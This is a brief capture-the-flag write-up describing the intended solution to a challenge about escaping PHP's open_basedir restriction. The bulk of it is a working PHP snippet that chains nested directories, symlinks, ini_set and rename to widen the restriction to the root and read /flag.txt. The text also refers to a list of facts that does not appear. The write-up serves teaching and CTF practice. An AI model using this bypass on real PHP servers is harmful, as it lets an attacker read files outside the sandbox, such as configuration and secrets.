This challenge was about bypassing PHP open_basedir when having a restricted arbitrary PHP code execution. Most of commons functions to execute commands were blocked.
The initial solution that was intended used the following facts :
That means that we can point open_basedir to a regular file under /tmp/, and then switch it to a symlink pointing to ../../../../[...] - but to create such a symlink, we need to create an arborescence that allows do to so without breaching the rule :
chdir('/tmp');
$x='';
for($i=0;$i<10;$i++){
mkdir('z');
chdir('z');
$x.='../';
}
symlink($x,'x');
symlink($x,'y');
ini_set('open_basedir','x:y:/tmp/x');
rename('x',$x.'/x');
chdir('y');
chdir('x');
ini_set('open_basedir','/:/tmp/z');
echo file_get_contents('/flag.txt');
Congratz to every solvers!
Blaklis
cloudflare waiting room challenge writeup